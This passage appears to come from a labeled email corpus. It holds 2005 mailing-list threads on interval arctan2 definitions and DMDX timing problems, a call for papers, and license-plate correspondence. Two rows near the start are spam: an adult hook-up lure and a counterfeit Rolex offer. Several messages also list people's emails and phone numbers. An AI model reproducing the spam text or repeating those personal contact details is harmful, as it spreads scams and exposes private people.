anyway. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The sooner you fall behind, the more time you'll have to catch up!"" ",0,0 Mitch ,marilyn@serrano.cc.columbia.edu,"Sat, 11 Jun 2005 17:31:57 -0400",from nowhere,"h00k up n0w 0nline check 0ut the babez here Meet thousanddz of fast h000k-ups in just secondz ""You are now our ruler,"" he said to the Scarecrow; ""so you must come back to us as soon as possible.""",1,1 Trina Michaud ,Sheryl ,,Re [21]: ," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Does anyone have an elegant method or redefinition to overcome this discontinuity? -- Alan Eliasen | ""It is not enough to do your best; eliasen@mindspring.com | you must know what to do and THEN http://futureboy.homeip.net/ | do your best."" -- W. Edwards Deming ",0,1 George Corliss ,"Alan Eliasen , reliable_computing@interval.louisiana.edu","Sun, 12 Jun 2005 17:47:50 -0500",Re: Arctan2,"Alan, I'm guessing your description might nor be exactly what you meant. For example, Fortran defines ATAN2(Y,X) as the principle argument of the complex number X + iY, expressed in radians in the range -pi < ATAN2(Y,X) <= pi. The values of X and Y must not both be zero [Metcalf & Reid, 1990, p. 160]. [Does anyone know why (Y, X), not (X, Y)?] The problem is exemplified by arctan( [-0.1, 0.1], [-1.1, -0.9] )? [-pi, pi], according to the set definition { arctan(y,x) | x in X, y in Y }. More problematic is arctan( [-0.1, 0.1], [-0.1, 0.1] ). Your alternatives are probably 1. NaN, or exception in some sense 2. [-pi, pi], in the sense of csets (containment sets) John Pryce or Bill Walster might wish to chime in, but the idea as I understand it, is that you should consider the set of limit points as x--> 0 and y --> 0. Depending on their interpretations, arctan( [0, 0], [0,0] ) or arctan( 0, 0 ) may be different. If you are doing a greenfields implementation of interval arithmetic, I encourage you to give serious consideration to their cset concept. Advantages include: Exception-free execution, more consistent interpretations of problematic cases, possible compiler optimizations. Disadvantages include: Results in some cases surprise you, automatic verification of continuity requires special handling. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu > I'm implementing interval arithmetic in my programming language ""Frink"": > > http://futureboy.us/frinkdocs/ > > and I'm attempting to implement the two-argument version of > arctan[x,y], but I'm encountering a few difficulties in dealing with > discontinuities and would like some suggestions. > > If we define arctan[x,y] to return arctan[x/y], but corrected for > quadrant, we get a discontinuity when going from quadrant III to > quadrant IV where the value jumps from -pi to +pi along the line at x=0 > where y goes from 0 to -infinity. > > Does anyone have an elegant method or redefinition to overcome this > discontinuity?",0,1 Alan Eliasen ,George Corliss ,"Sun, 12 Jun 2005 18:49:44 -0600",Re: Arctan2,"George Corliss wrote: > I'm guessing your description might nor be exactly what you meant. For > example, Fortran defines ATAN2(Y,X) as the principle argument of the complex > number X + iY, expressed in radians in the range -pi < ATAN2(Y,X) <= pi. > The values of X and Y must not both be zero [Metcalf & Reid, 1990, p. 160]. > > [Does anyone know why (Y, X), not (X, Y)?] atan2[a,b] is one of those cases (like the modulus operator) where there are competing definitions that can both be considered equally valid. You always gotta look at your programming language's particular definition to be safe. Is it defined as a/b or b/a? Mathematica defines it as b/a, Java and Fortran and Frink as a/b. (No comments about Java not being an authoritative platform for mathematics, please. :) ) I've re-checked my original statement and I do think it's what I meant. (It essentially matches Fortran's definition.) I want arctan[x,y] to essentially return arctan[x/y] but corrected for quadrant. To be more specific, when x>0, I want arctan[x/y] and arctan[x,y] to return the same value (in the range -pi/2, pi/2). As a graph is worth a thousand words, here is what I intend: http://futureboy.us/temp/arctan.gif I prefer to use this convention because it allows arctan[x/y] to be trivially rewritten as arctan[x,y]. > The problem is exemplified by > arctan( [-0.1, 0.1], [-1.1, -0.9] )? Yes. That interval goes across the boundary from quadrant III to quadrant IV. > [-pi, pi], according to the set definition > { arctan(y,x) | x in X, y in Y }. I agree that's the most obvious answer given conventions for the range of arctan, but I'd argue that that jump in range could be considered somewhat arbitrary. If you look at the graph, you can see that we could consider arctan to map out a sort of helix, continually descending as we go counter-clockwise around the origin (as seen from the ""top"") Rather than forcing that particular (somewhat arbitrary) discontinuity, we could theoretically continue the helix downward and map the points in quadrant IV to something less than -pi, and maintain continuity between quadrants III and IV. It diverges from the usual range produced by the arctan function, but has the benefits of being mathematically meaningful, continuous, and monotonic. Does anyone know of interval arithmetic implementations that apply this somewhat non-standard convention? > More problematic is arctan( [-0.1, 0.1], [-0.1, 0.1] ). Your alternatives > are probably > 1. NaN, or exception in some sense > 2. [-pi, pi], in the sense of csets (containment sets) > > John Pryce or Bill Walster might wish to chime in, but the idea as I > understand it, is that you should consider the set of limit points as x--> 0 > and y --> 0. I think I'd likely bunt and use the limit [-pi,pi] when considering an interval surrounding the origin. The limiting case is well-behaved, so I probably wouldn't return an exception. After I wrote the above, I just found a paper on this topic by Walster: http://developers.sun.com/tools/cc/articles/int_angles/interval-angles.pdf I don't know why it didn't turn up in my searches earlier. I must have only searched for ""arctan"" and ""atan"" and not ""atan2"". This paper happens to propose several different alternatives, including ones that seem to follow the spiral around as I've proposed above and extending the range to, say, -5/4 pi when going between quadrants III and IV. Does anyone have strong feelings on making an arctan implementation work this way--that is, returning something beyond [-pi, pi]? It seems quite a bit more elegant and gives tighter interval bounds to do so. > If you are doing a greenfields implementation of interval arithmetic, I > encourage you to give serious consideration to their cset concept. Oh, my implementation is green as green can be. :) I'm already quite a ways along into my implementation, but I always appreciate ways to make my system more elegant. Thanks very much for your comments! -- Alan Eliasen | ""It is not enough to do your best; eliasen@mindspring.com | you must know what to do and THEN http://futureboy.homeip.net/ | do your best."" -- W. Edwards Deming > Advantages include: Exception-free execution, more consistent > interpretations of problematic cases, possible compiler optimizations. > Disadvantages include: Results in some cases surprise you, automatic > verification of continuity requires special handling. > > Dr. George F. Corliss > Electrical and Computer Engineering > Marquette University > PO Box 1881 > 1515 W. Wisconsin Ave. > Milwaukee WI 53201-1881 USA > 414-288-6599; Fax: 288-5579; Dept. 288-6280 > Office: Haggerty Engineering 296 > George.Corliss@Marquette.edu > > > > > >> I'm implementing interval arithmetic in my programming language ""Frink"": >> >> http://futureboy.us/frinkdocs/ >> >> and I'm attempting to implement the two-argument version of >>arctan[x,y], but I'm encountering a few difficulties in dealing with >>discontinuities and would like some suggestions. >> >> If we define arctan[x,y] to return arctan[x/y], but corrected for >>quadrant, we get a discontinuity when going from quadrant III to >>quadrant IV where the value jumps from -pi to +pi along the line at x=0 >>where y goes from 0 to -infinity. >> >> Does anyone have an elegant method or redefinition to overcome this >>discontinuity? > > >",0,1 """G. William Walster"" ",George Corliss ,"Sun, 12 Jun 2005 18:36:42 -0700",Re: Arctan2,"See the attached. Csets help with the indeterminate form, but more importantly is the idea of permitting interval angles to straddle the branch cut. Cheers, Bill George Corliss wrote: >Alan, > >I'm guessing your description might nor be exactly what you meant. For >example, Fortran defines ATAN2(Y,X) as the principle argument of the complex >number X + iY, expressed in radians in the range -pi < ATAN2(Y,X) <= pi. >The values of X and Y must not both be zero [Metcalf & Reid, 1990, p. 160]. > >[Does anyone know why (Y, X), not (X, Y)?] > >The problem is exemplified by > arctan( [-0.1, 0.1], [-1.1, -0.9] )? > >[-pi, pi], according to the set definition > { arctan(y,x) | x in X, y in Y }. > > >More problematic is arctan( [-0.1, 0.1], [-0.1, 0.1] ). Your alternatives >are probably > 1. NaN, or exception in some sense > 2. [-pi, pi], in the sense of csets (containment sets) > >John Pryce or Bill Walster might wish to chime in, but the idea as I >understand it, is that you should consider the set of limit points as x--> 0 >and y --> 0. > >Depending on their interpretations, arctan( [0, 0], [0,0] ) or >arctan( 0, 0 ) may be different. > >If you are doing a greenfields implementation of interval arithmetic, I >encourage you to give serious consideration to their cset concept. >Advantages include: Exception-free execution, more consistent >interpretations of problematic cases, possible compiler optimizations. >Disadvantages include: Results in some cases surprise you, automatic >verification of continuity requires special handling. > >Dr. George F. Corliss >Electrical and Computer Engineering >Marquette University >PO Box 1881 >1515 W. Wisconsin Ave. >Milwaukee WI 53201-1881 USA >414-288-6599; Fax: 288-5579; Dept. 288-6280 >Office: Haggerty Engineering 296 >George.Corliss@Marquette.edu > > > > > > >> I'm implementing interval arithmetic in my programming language ""Frink"": >> >> http://futureboy.us/frinkdocs/ >> >> and I'm attempting to implement the two-argument version of >>arctan[x,y], but I'm encountering a few difficulties in dealing with >>discontinuities and would like some suggestions. >> >> If we define arctan[x,y] to return arctan[x/y], but corrected for >>quadrant, we get a discontinuity when going from quadrant III to >>quadrant IV where the value jumps from -pi to +pi along the line at x=0 >>where y goes from 0 to -infinity. >> >> Does anyone have an elegant method or redefinition to overcome this >>discontinuity? >> >> > > >",0,1 George Corliss ,Alan Eliasen ,"Sun, 12 Jun 2005 22:02:23 -0500",Re: Arctan2,"Alan, > George Corliss wrote: >> I'm guessing your description might nor be exactly what you meant. For >> example, Fortran defines ATAN2(Y,X) as the principle argument of the complex >> number X + iY, expressed in radians in the range -pi < ATAN2(Y,X) <= pi. >> The values of X and Y must not both be zero [Metcalf & Reid, 1990, p. 160]. >> >> [Does anyone know why (Y, X), not (X, Y)?] > > atan2[a,b] is one of those cases (like the modulus operator) where > there are competing definitions that can both be considered equally > valid. You always gotta look at your programming language's particular > definition to be safe. Is it defined as a/b or b/a? Mathematica > defines it as b/a, Java and Fortran and Frink as a/b. (No comments > about Java not being an authoritative platform for mathematics, please. :) ) > > I've re-checked my original statement and I do think it's what I > meant. (It essentially matches Fortran's definition.) I want > arctan[x,y] to essentially return arctan[x/y] but corrected for > quadrant. To be more specific, when x>0, I want arctan[x/y] and > arctan[x,y] to return the same value (in the range -pi/2, pi/2). > > As a graph is worth a thousand words, here is what I intend: > http://futureboy.us/temp/arctan.gif > > I prefer to use this convention because it allows arctan[x/y] to be > trivially rewritten as arctan[x,y]. OK. I'll grant you that, but something about your explanation and graph does not make sense to me. What is arctan(0,y), for y != 0? Isn't that arctan(0) = 0? >> The problem is exemplified by >> arctan( [-0.1, 0.1], [-1.1, -0.9] )? > > Yes. That interval goes across the boundary from quadrant III to > quadrant IV. But with your definition, isn't arctan( [-0.1, 0.1], [-1.1, -0.9] ) approximately arctan(0/-1) = arctan(0) = 0? Clearly, I'm missing something of your intent. >> [-pi, pi], according to the set definition >> { arctan(y,x) | x in X, y in Y }. > > I agree that's the most obvious answer given conventions for the > range of arctan, but I'd argue that that jump in range could be > considered somewhat arbitrary. If you look at the graph, you can see > that we could consider arctan to map out a sort of helix, continually > descending as we go counter-clockwise around the origin (as seen from > the ""top"") Rather than forcing that particular (somewhat arbitrary) > discontinuity, we could theoretically continue the helix downward and > map the points in quadrant IV to something less than -pi, and maintain > continuity between quadrants III and IV. It diverges from the usual > range produced by the arctan function, but has the benefits of being > mathematically meaningful, continuous, and monotonic. Ah! That's alternative 3, I guess. Yes, that has advantages, along with the disadvantage that you violate the definition -pi < ATAN2(Y,X) <= pi. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu > Does anyone know of interval arithmetic implementations that apply > this somewhat non-standard convention? > >> More problematic is arctan( [-0.1, 0.1], [-0.1, 0.1] ). Your alternatives >> are probably >> 1. NaN, or exception in some sense >> 2. [-pi, pi], in the sense of csets (containment sets) >> >> John Pryce or Bill Walster might wish to chime in, but the idea as I >> understand it, is that you should consider the set of limit points as x--> 0 >> and y --> 0. > > I think I'd likely bunt and use the limit [-pi,pi] when considering > an interval surrounding the origin. The limiting case is well-behaved, > so I probably wouldn't return an exception. > > After I wrote the above, I just found a paper on this topic by Walster: > http://developers.sun.com/tools/cc/articles/int_angles/interval-angles.pdf > I don't know why it didn't turn up in my searches earlier. I must have > only searched for ""arctan"" and ""atan"" and not ""atan2"". > > This paper happens to propose several different alternatives, > including ones that seem to follow the spiral around as I've proposed > above and extending the range to, say, -5/4 pi when going between > quadrants III and IV. > > Does anyone have strong feelings on making an arctan implementation > work this way--that is, returning something beyond [-pi, pi]? It seems > quite a bit more elegant and gives tighter interval bounds to do so. > >> If you are doing a greenfields implementation of interval arithmetic, I >> encourage you to give serious consideration to their cset concept. > > Oh, my implementation is green as green can be. :) I'm already > quite a ways along into my implementation, but I always appreciate ways > to make my system more elegant. Thanks very much for your comments!",0,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Jun 2005 11:43:17 +0100",[DMDX] Re: Problems with tiimg in Win2000 and XP," Hi Jonathan, > None of which will particularly affect DMDX's ability to run I might mention. That is good to know, although on one machine I am still getting 'certain errors' whatever settings I use, and that worries me. The same hardware (really exactly the same) performs very well under Win98. > TimeDX poses a particularly intensive test of the hardware as not only is it > tracking the retrace but it's also almost constantly updating the screen. > You might see some reduction in the long sleeps if you reduce the number of lines to blit I did reduce the number of line to blit to less than a quarter of the automatic values, without too much difference: still more than 40% time-outs. Would it not be possible to use the multi media timer to unlock the vertical retrace thread, instead of relying on sleep times? You're using the MM timer anyway. In my experience Window's sleep times can be very unreliable, but the MM timer is rock solid. This could also cut down on polling times, as less safety margin is needed. Maarten ",0,0 Markus Neher ,reliable_computing@interval.louisiana.edu,"Mon, 13 Jun 2005 13:08:03 +0200",Re: Arctan2,"Alan, > If you look at the graph, you can see >that we could consider arctan to map out a sort of helix, continually >descending as we go counter-clockwise around the origin (as seen from >the ""top"") Rather than forcing that particular (somewhat arbitrary) >discontinuity, we could theoretically continue the helix downward and >map the points in quadrant IV to something less than -pi, and maintain >continuity between quadrants III and IV. It diverges from the usual >range produced by the arctan function, but has the benefits of being >mathematically meaningful, continuous, and monotonic. > ""Mathematically meaningful"" depends on your definition of a function. (i) If you consider arctan(y/x) as a single valued function (by taking the principal value), then extending the range is wrong. (ii) Continuing on the helix, you lose inclusion isotonicity. Consider X1 = ([-2,-1],[-2,-1]), X2 = ([1,2],[-2,-1]), and X3 = ([-2,2],[-2,-1]). We have X1 \\subset X3, X2 \\subset X3. Extending the range on the helix implies either arctan2(X1) \\not\\subset arctan2(X3) or arctan2(X2) \\not\\subset arctan2(X3). (iii) Continuing on the helix, you also lose analyticity of the underlying complex function. See the discussion of the argument functions in the CoStLy library (http://iamlasun8.mathematik.uni-karlsruhe.de/~ae16/CoStLy.html). There are applications, where analyticity is reqired and where the use of non-analytic inclusion functions is prohibited. Regards, Markus ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Jun 2005 08:43:42 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 11:43 AM 6/13/2005 +0100, you wrote: >That is good to know, although on one machine I am still getting 'certain >errors' >whatever settings I use, and that worries me. A certain error is thrown after 30 sequential timeouts. You could try increasing the sleep time to within a millisecond or two of the retrace interval. If the machine is allergic to DMDX trying to determine the state of the raster it's conceivable that trying to do less of it might help things. >Would it not be possible to use the multi media timer to unlock the vertical >retrace thread, instead of relying on sleep times? You're using the MM timer >anyway. In my experience Window's sleep times can be very unreliable, but >the MM timer is rock solid. This could also cut down on polling times, as >less safety margin is needed. The thread has to go to sleep, if it doesn't nothing else executes, the machine freezes. When it goes to sleep it tells the OS I'd like to wake up in N milliseconds. On your machines it gets to wake up much later than it asked for. It's not in DMDX's control. You happen to have some crappy combination of components that's less than excellent for DMDX's purposes. Could be your chipset, your video card, who knows. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing increases your golf score like witnesses. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Jun 2005 09:02:29 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 08:43 AM 6/13/2005 -0700, you wrote: > A certain error is thrown after 30 sequential timeouts. Mind you that value of 30 what chosen eons ago in the days before a high performance counter when we were lucky to know the retrace interval to within a tenth of a millisecond. Given that every machine has one these days and we could assume that interval is known to within microseconds I could happily increase it's value to 300 and there'd be no loss of functionality. It of course puts the onus on users to get the value of the retrace accurate which is why it's left at the value of 30. And yes, a machine with certain errors isn't good. Once DMDX hits a certain error condition it just goes into a tight loop polling for the retrace indicator till it actually finds a retrace and then reschedules everything accordingly. You can see it in the .AZK file as it will flag the error if it occurs during the presentation of a stimulus. So you could build an item file and either run it yourself or make one that's amenable to Diagnostic mode and see just how often the errors occur in a tachistoscopic frame. My guess is that it's rarely. If it's actually a problem I can either make the number of timeouts till a certain error is thrown greater or make it under user control -- my guess is that I'd make a registry key with the value in it and let you use RegEdit to modify it because this is literally the first time it's been a concern. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing increases your golf score like witnesses. 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Please notice that two of the seminar chairs, Dr. Castillo and Dr. Melin, are leaders in interval-valued fuzzy techniques, and type-2 fuzzy techniques (which include interval techniques as an important particular case) are among the topics of interest. ------------- Begin Forwarded Message ------------- From: Eduardo Gomez-Ramirez Call for Papers International Seminar on Computational Intelligence 2005 http://www.hafsamx.org/cis-chmexico/seminar05/ Mexico DF, October 17-18, 2005 La Salle University Description The International Seminar will consist of papers describing research work that integrate different Computational Intelligence (CI) methodologies for the development of hybrid intelligent systems. CI methodologies at the moment include (at least) Neural Networks, Fuzzy Logic, Genetic Algorithms, Intelligent Agents, and Chaos Theory. The use of intelligent techniques, like neural networks, fuzzy logic and genetic algorithms, for real-world problems is now widely accepted. However, still the performance of any of these techniques can be improved, in many situations, by using them in conjunction with other techniques. For example, genetic algorithms can be used to optimize the design of a neural network for time series prediction, or fuzzy logic can be used to combine the information from expert neural modules, just to mention two cases. Also, mathematical methods, like the ones from Chaos and Fractal Theory, can be used in conjunction with intelligent techniques to improve the performance of hybrid systems for real-world applications. The international seminar will consist of papers addressing these hybrid approaches and similar ones, either theoretically or for real-world applications. Also, distinguished internationally recognized invited speakers will give lectures on the main areas of CI. The seminar is intended primarily for researchers and graduate students working on these research areas. Topics of interest (not limited to) 1. Successful new applications to real-world problems of CI techniques that are found to achieve better results than conventional techniques. In this case, special attention should be given to the metrics used to compare CI techniques with conventional ones. 2. Developments of innovative hybrid methods combining CI techniques and conventional techniques. In this case, the problems to be considered in these papers may not be as complex as the ones in the previous point, but the authors have to explain very carefully how their proposed method could be used, in the future, to solve real-world problems. 3. Papers considering original research on new CI architectures, models or techniques are also welcome, but the authors would have to make a detailed description of how their proposed approach is compared with other related approaches. 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Eng , University of Louisville, USA President, IEEE Computational Intelligence Society Rule Extraction in Data Mining Plenary Invited Speakers Prof. Dr. Carlos A. Coello Coello Profesor Investigador, CINVESTAV-IPN Mexico A Short Introduction to Evolutionary Multi-Objective Optimization and its Application Prof. Dr. Edgar Sanchez Profesor Investigador, CINVESTAV-IPN Guadalajara Discrete Time Recurrent Neural Control Prof. Dr. Pilar Gomez Gil Profesora Investigadora, Universidad de las Americas-Puebla The Role of Neural Networks in the Interpretation of Antique Hand-written Documents Format and Submission Procedure Papers must be send by email, by the prospective authors, to the General Chair and the Program Chairs. The paper must be send as a PDF or word attachment with their email message. Paper submissions must not exceed 8 pages and must be formatted according to instructions given in the web page: http://revista.ci.ulsa.mx/html/criterios_para_autores.html . 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In addition, below please find a list of current fundraising plates and how many plates were registered on 12/3/04. For example, the lowest selling plate had 1,552 registered plates -- if you multiply that by $25 (the annual fee associated with the Golf Wisconsin plate), it would have brought in approx $38,800 in 2004. I hope this information is useful to you. Let me know if you need any further information. Thanks for your interest, Luanne Kostelic -----Original Message----- From: Frazier, Carson Sent: Thursday, February 24, 2005 10:32 AM To: Kostelic, Luanne Subject: special plates counts Luanne, as you asked, the numbers of special plates. Our records of December 3, 2004 show the following numbers of plates registered in each fund-raising special plate category: Endangered Resources 22,136 (first available January 1995) Ducks Unlimited 1,552 (first available January 2001) Celebrate Children 5,785 (first available January 1999) Packers 16,515 (first available January 2001) University plates (all campuses together) 7,181 (first available in the late 1980's) Office of Rep. Bob Ziegelbauer Staff: Luanne Kostelic, Toby Zutz State Capitol: 207-North, PO Box 8953; Madison, WI 53708-8953 Phone: (608) 266-0315 or Toll Free: 1-888-529-0025 Fax: (608) 282-3625 Website: http://www.bobziegelbauer.com In the District: 1213 S. 8th Street, PO Box 325, Manitowoc, WI 54221-0325 Office: (920) 684-6783, Home: (920) 684-4362 -----Original Message----- From: Maryann Riggs [mailto:mar@uwm.edu] Sent: Friday, June 17, 2005 2:45 PM To: Ziegelbauer, Bob Subject: specialty license plate Rep. Ziegelbauer, I recently read that you have introduced a golf license plate. Your website states ""After the Wisconsin Department of Transportation recovers the initial cost of creating the plate. . . ."" How much are those ""initial costs?"" How many plates would have to be purchased before the designated beneficiaries would see any income? Thanks for your help. MaryAnn Riggs -- -------------------------- MaryAnn Riggs I&MT Data Administration UW-Milwaukee Cunningham 147C Milwaukee WI 53201 mar@uwm.edu voice: 414.229.6502",0,1 Zhi-Zhong Chen ,'Michelangelo Grigni' ,"Sat, 18 Jun 2005 10:16:11 +0900",RE: the paper has been accepted by Algorithmica,"Attached is the final version; it is a bit different from the one you have in hand. --ZZ ",0,0 Slava Nesterov ,RC mailing list ,"Sat, 18 Jun 2005 14:20:56 +0400","Reliable Computing, Vol.11, issue 5, 2005"," Reliable Computing Volume 11, issue 5, 2005 Special Issue Selected works presented at the International Workshop on Interval Mathematics and Constraint Propagation Methods June 23-24, 2004, Akademgorodok, Novosibirsk, Russia Guest Editor: Sergey P. Shary Preface 321-322 Interval-Affine Gaussian Algorithm for Constrained Systems Ramil R. Akhmerov 323-341 Developing Interval Global Optimization Algorithms on the Basis of Branch-and-Bound and Constraint Propagation Methods Yuri G. Dolgov 343-358 Interval Mathematical Library Based on Chebyshev and Taylor Series Expansion Alexei G. Ershov, Tamara P. Kashevarova 359-367 Quantified Set Inversion Algorithm with Applications to Control Pau Herrero, Miguel A. Sainz, Josep Vehi, Luc Jaulin 369-382 Validated Constraint Solving - Practicalities, Pitfalls, and New Developments R. Baker Kearfott 383-391 An Interval Global Optimization Algorithm Combining Symbolic Rewriting and Componentwise Newton Method Applied to Control a Class of Queueing Systems Bartlomiej Jacek Kubica, Krzysztof Malinowski 393-411 Boundary Realizations Method for Interval Linear Dynamic Systems Sergey G. Pushkov, Svetlana Yu. Kalinkina 413-423 On Unbounded Tolerable Solution Sets Irene A. Sharaya 425-432 On Fitting Empirical Data under Interval Error Sergei I. Zhilin 433-442 ",0,0 Annalisa Setti ,DMDX@psy1.psych.arizona.edu,"Sun, 19 Jun 2005 17:14:33 +0200",[DMDX] dmdx freezes,"Hi all, I’m writing because I have a technical problem with DMDX. I used the program for my first experiment (priming with .avi as stimuli), then I had to change computer and the program is not working anymore. I changed the script from to (in Italian) and the parameters to adapt with the new computer video resolution. In the syntax check it seems to work ok, however when I run the exp, the experiment starts and immediately freezes. When I press the spacebar to go on with the first item (77), nothing happens. This was happening with a ATI Rage 8MB video card, and it’s still happening with the new video card (GeForce mx 4000). Moreover I read that DMDX has problems with the GeForce – do you think I should get a new video card to solve my problem? My doubt is because the same happened before. Here is part of the code $ 0 ""This is object 1, you have 2 sec to observe it, press the spacebar to begin"" ; 77 ""+""/ / ""prototA.avi.avi"" / ; 0 ""This is object 2, you have 2 sec to observe it, press the spacebar to begin"" ; 78 ""+""/ / ""prototB.avi.avi"" / ; 0 ""This is object 3, you have 2 sec to observe it, press the spacebar to begin"" ; 79 ""+""/ / ""prototC.avi.avi"" / ; 0 ""This is object 4, you have 2 sec to observe it, press the spacebar to begin"" ; 80 ""+""/ / ""prototD.avi.avi"" / ; 0 ""Press the correspondent key to identify the object"" ; 0 ""object 1 = v, 2 = b, 3 = n, 4 = m""; 0 ""Please focus on speed as well as accuracy"" ; 0 ""If you make more than 10% errors you will have to start again"" ; 10000 / ; $ +1 ""+""/ / * ""prototA.avi.avi"" / /; +2 ""+""/ / * ""prototA.avi.avi"" / /; …… my actual computer is a pentium III, 640MB ram, windows XP service pack 2 Than you very much for your help! Annalisa",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 19 Jun 2005 12:50:48 -0700",[DMDX] Re: dmdx freezes,"There is a keyword to help with these sorts of problems, it's . You should be able to hit ESC and see what the machine is having trouble with. Recent trouble similar to this has been insane settings for the retrace the interval. At 05:14 PM 6/19/2005 +0200, you wrote: >Hi all, >I’m writing because I have a technical problem with DMDX. I used the >program for my first experiment (priming with .avi as stimuli), then I had >to change computer and the program is not working anymore. I changed the >script from to (in Italian) and the parameters >to adapt with the new computer video resolution. In the syntax check it >seems to work ok, however when I run the exp, the experiment starts and >immediately freezes. When I press the spacebar to go on with the first >item (77), nothing happens. This was happening with a ATI Rage 8MB video >card, and it’s still happening with the new video card (GeForce mx 4000). >Moreover I read that DMDX has problems with the GeForce ­ do you think I >should get a new video card to solve my problem? My doubt is because the >same happened before. >Here is part of the code > > > >$ >0 ""This is object 1, you have 2 sec to observe it, press the spacebar to >begin"" ; >77 ""+""/ / ""prototA.avi.avi"" / ; >0 ""This is object 2, you have 2 sec to observe it, press the spacebar to >begin"" ; >78 ""+""/ / ""prototB.avi.avi"" / ; >0 ""This is object 3, you have 2 sec to observe it, press the spacebar to >begin"" ; >79 ""+""/ / ""prototC.avi.avi"" / ; >0 ""This is object 4, you have 2 sec to observe it, press the spacebar to >begin"" ; >80 ""+""/ / ""prototD.avi.avi"" / ; >0 ""Press the correspondent key to identify the object"" ; >0 ""object 1 = v, 2 = b, 3 = n, 4 = m""; >0 ""Please focus on speed as well as accuracy"" ; >0 ""If you make more than 10% errors you will have to start again"" ; >10000 / ; >$ >+1 ""+""/ / * > ""prototA.avi.avi"" / /; >+2 ""+""/ / * > ""prototA.avi.avi"" / /; >…… > >my actual computer is a pentium III, 640MB ram, windows XP service pack 2 >Than you very much for your help! >Annalisa > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 19 Jun 2005 16:26:55 -0700",[DMDX] Re: dmdx freezes,"However you're not having trouble with anything remotely complicated, when you bind the new keyboard it's space bar's name is unlikely to be ""+Space bar"", you'll need to map the request to the Italian space bar name (see TimeDX's Input test to see what it is). At 12:50 PM 6/19/2005 -0700, you wrote: > There is a keyword to help with these sorts of problems, it's 1>. You should be able to hit ESC and see what the machine is having > trouble with. Recent trouble similar to this has been insane settings > for the retrace the interval. > >At 05:14 PM 6/19/2005 +0200, you wrote: >>Hi all, >>I’m writing because I have a technical problem with DMDX. I used the >>program for my first experiment (priming with .avi as stimuli), then I >>had to change computer and the program is not working anymore. I changed >>the script from to (in Italian) and the >>parameters to adapt with the new computer video resolution. In the syntax >>check it seems to work ok, however when I run the exp, the experiment >>starts and immediately freezes. When I press the spacebar to go on with >>the first item (77), nothing happens. This was happening with a ATI Rage >>8MB video card, and it’s still happening with the new video card (GeForce >>mx 4000). Moreover I read that DMDX has problems with the GeForce ­ do >>you think I should get a new video card to solve my problem? My doubt is >>because the same happened before. >>Here is part of the code >> >> >> >>$ >>0 ""This is object 1, you have 2 sec to observe it, press the spacebar to >>begin"" ; >>77 ""+""/ / ""prototA.avi.avi"" / ; >>0 ""This is object 2, you have 2 sec to observe it, press the spacebar to >>begin"" ; >>78 ""+""/ / ""prototB.avi.avi"" / ; >>0 ""This is object 3, you have 2 sec to observe it, press the spacebar to >>begin"" ; >>79 ""+""/ / ""prototC.avi.avi"" / ; >>0 ""This is object 4, you have 2 sec to observe it, press the spacebar to >>begin"" ; >>80 ""+""/ / ""prototD.avi.avi"" / ; >>0 ""Press the correspondent key to identify the object"" ; >>0 ""object 1 = v, 2 = b, 3 = n, 4 = m""; >>0 ""Please focus on speed as well as accuracy"" ; >>0 ""If you make more than 10% errors you will have to start again"" ; >>10000 / ; >>$ >>+1 ""+""/ / * >> ""prototA.avi.avi"" / /; >>+2 ""+""/ / * >> ""prototA.avi.avi"" / /; >>…… >> >>my actual computer is a pentium III, 640MB ram, windows XP service pack 2 >>Than you very much for your help! >>Annalisa >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Interesting but useless facts #48. >The red flshing beacon atop a firetruck is called a mars light. > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,1 Christopher Creutzig ,reliable_computing@interval.louisiana.edu,"Mon, 20 Jun 2005 08:28:45 +0200",Re: Arctan2,"Alan Eliasen writes: >> [-pi, pi], according to the set definition >> { arctan(y,x) | x in X, y in Y }. > > I agree that's the most obvious answer given conventions for the > range of arctan, but I'd argue that that jump in range could be > considered somewhat arbitrary. If you look at the graph, you can see > that we could consider arctan to map 